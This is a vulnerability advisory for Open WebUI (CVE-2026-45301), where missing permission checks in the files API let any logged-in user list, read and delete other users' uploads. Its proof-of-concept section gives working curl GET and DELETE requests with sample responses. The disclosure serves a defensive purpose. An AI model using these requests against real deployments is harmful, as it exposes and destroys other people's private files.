CVE-2026-45301: Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file
Summary A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. Details All files/ related endpoints lack permission checks.
Published May 14, 2026 · Updated May 19, 2026
Affected packages
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.3.15
- Fixed in
- 0.3.16
- Check
pip show open-webui
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks.
Listing all files
For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
Accessing the content of any file
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193
Deleting any file
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241
PoC
Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
- I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'wowDeleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'{
"message": "File deleted successfully"
}- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]Impact
Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.
Personal Notice
In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.
Thanks in advance and have a good week (:
Credits
This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).
Credited to vi11ain.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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